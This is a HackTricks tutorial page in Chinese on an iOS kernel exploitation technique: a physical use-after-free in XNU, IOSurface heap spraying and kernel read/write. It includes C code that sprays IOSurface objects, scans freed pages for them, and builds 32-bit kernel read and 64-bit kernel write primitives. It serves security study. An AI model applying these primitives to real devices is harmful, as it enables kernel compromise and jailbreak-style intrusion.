iOS Exploiting
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
物理使用后释放
这是来自https://alfiecg.uk/2024/09/24/Kernel-exploit.html的帖子摘要,此外关于使用此技术的漏洞的更多信息可以在https://github.com/felix-pb/kfd中找到。
XNU中的内存管理
iOS上用户进程的虚拟内存地址空间范围从0x0到0x8000000000。然而,这些地址并不直接映射到物理内存。相反,内核使用页表将虚拟地址转换为实际的物理地址。
iOS中的页表级别
页表分为三个层次进行分层组织:
- L1页表(第1级):
- 这里的每个条目表示一个大范围的虚拟内存。
- 它覆盖0x1000000000字节(或256 GB)的虚拟内存。
- L2页表(第2级):
- 这里的一个条目表示一个较小的虚拟内存区域,具体为0x2000000字节(32 MB)。
- 如果L1条目无法映射整个区域,它可能指向L2表。
- L3页表(第3级):
- 这是最细的级别,每个条目映射一个单独的4 KB内存页。
- 如果需要更细粒度的控制,L2条目可能指向L3表。
虚拟到物理内存的映射
- 直接映射(块映射):
- 页表中的某些条目直接将一系列虚拟地址映射到一系列连续的物理地址(如快捷方式)。
- 指向子页表的指针:
- 如果需要更细的控制,一个级别中的条目(例如L1)可以指向下一个级别的子页表(例如L2)。
示例:映射虚拟地址
假设你尝试访问虚拟地址0x1000000000:
- L1表:
- 内核检查与此虚拟地址对应的L1页表条目。如果它有指向L2页表的指针,则转到该L2表。
- L2表:
- 内核检查L2页表以获取更详细的映射。如果此条目指向L3页表,则继续前往。
- L3表:
- 内核查找最终的L3条目,该条目指向实际内存页的物理地址。
地址映射示例
如果你将物理地址0x800004000写入L2表的第一个索引,则:
- 从0x1000000000到0x1002000000的虚拟地址映射到从0x800004000到0x802004000的物理地址。
- 这是L2级别的块映射。
或者,如果L2条目指向L3表:
- 虚拟地址范围0x1000000000 -> 0x1002000000中的每个4 KB页面将由L3表中的单独条目映射。
物理使用后释放
物理使用后释放(UAF)发生在:
- 进程分配一些内存为可读和可写。
- 页表被更新以将此内存映射到进程可以访问的特定物理地址。
- 进程释放(释放)内存。
- 然而,由于错误,内核忘记从页表中删除映射,尽管它将相应的物理内存标记为可用。
- 内核随后可以重新分配这块“释放”的物理内存用于其他目的,如内核数据。
- 由于映射未被删除,进程仍然可以读写这块物理内存。
这意味着进程可以访问内核内存的页面,这些页面可能包含敏感数据或结构,可能允许攻击者操纵内核内存。
利用策略:堆喷射
由于攻击者无法控制哪些特定的内核页面将分配给释放的内存,他们使用一种称为堆喷射的技术:
- 攻击者在内核内存中创建大量IOSurface对象。
- 每个IOSurface对象在其字段中包含一个魔法值,便于识别。
- 他们扫描释放的页面,查看这些IOSurface对象是否落在释放的页面上。
- 当他们在释放的页面上找到一个IOSurface对象时,他们可以用它来读写内核内存。
关于此的更多信息请参见https://github.com/felix-pb/kfd/tree/main/writeups。
步骤堆喷射过程
- 喷射IOSurface对象:攻击者创建许多带有特殊标识符(“魔法值”)的IOSurface对象。
- 扫描释放的页面:他们检查是否有任何对象已分配在释放的页面上。
- 读/写内核内存:通过操纵IOSurface对象中的字段,他们获得在内核内存中执行任意读写的能力。这使他们能够:
- 使用一个字段读取内核内存中的任何32位值。
- 使用另一个字段写入64位值,实现稳定的内核读/写原语。
生成带有魔法值IOSURFACE_MAGIC的IOSurface对象以便后续搜索:
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
在一个已释放的物理页面中搜索 IOSurface
对象:
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
Achieving Kernel Read/Write with IOSurface
在内核内存中控制一个 IOSurface 对象(映射到一个可以从用户空间访问的已释放物理页面)后,我们可以利用它进行 任意内核读写操作。
IOSurface 中的关键字段
IOSurface 对象有两个关键字段:
- 使用计数指针:允许进行 32 位读取。
- 索引时间戳指针:允许进行 64 位写入。
通过覆盖这些指针,我们将它们重定向到内核内存中的任意地址,从而启用读/写功能。
32 位内核读取
要执行读取:
- 将 使用计数指针 覆盖为指向目标地址减去 0x14 字节的偏移量。
- 使用
get_use_count
方法读取该地址的值。
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
64位内核写入
要执行写入:
- 将索引时间戳指针覆盖到目标地址。
- 使用
set_indexed_timestamp
方法写入64位值。
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
漏洞利用流程回顾
- 触发物理使用后释放: 可重用的空闲页面。
- 喷射IOSurface对象: 在内核内存中分配许多具有唯一“魔法值”的IOSurface对象。
- 识别可访问的IOSurface: 找到一个在你控制的已释放页面上的IOSurface。
- 滥用使用后释放: 修改IOSurface对象中的指针,以通过IOSurface方法启用任意内核读/写。
通过这些原语,漏洞利用提供了对内核内存的受控32位读取和64位写入。进一步的越狱步骤可能涉及更稳定的读/写原语,这可能需要绕过额外的保护(例如,在较新的arm64e设备上的PPL)。
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。